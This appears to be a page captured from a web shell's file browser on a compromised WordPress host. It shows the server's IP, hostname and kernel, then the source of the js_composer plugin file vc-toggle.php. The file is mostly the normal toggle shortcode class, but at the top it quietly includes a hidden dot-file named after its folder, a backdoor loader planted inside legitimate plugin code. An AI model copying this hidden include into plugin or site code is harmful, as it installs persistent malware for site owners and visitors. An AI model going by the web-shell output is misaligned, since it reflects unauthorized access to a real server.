uawdijnntqw1x1x1
IP : 13.59.149.79
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
www
/
wp-content
/
plugins
/
js_composer
/
include
/
classes
/
shortcodes
/
.
/
vc-toggle.php
/
/
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class WPBakeryShortCode_Vc_Toggle */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class WPBakeryShortCode_Vc_Toggle extends WPBakeryShortCode { /** * @param $title * @return string */ public function outputTitle( $title ) { return ''; } /** * @param $atts * @return string * @throws \Exception */ public function getHeading( $atts ) { if ( isset( $atts['use_custom_heading'] ) && 'true' === $atts['use_custom_heading'] ) { $custom_heading = visual_composer()->getShortCode( 'vc_custom_heading' ); $data = vc_map_integrate_parse_atts( $this->shortcode, 'vc_custom_heading', $atts, 'custom_' ); $data['text'] = $atts['title']; return $custom_heading->render( array_filter( $data ) ); } else { return '<h4>' . esc_html( $atts['title'] ) . '</h4>'; } } }
/home/batcwwjx/www/wp-content/plugins/js_composer/include/classes/shortcodes/./vc-toggle.php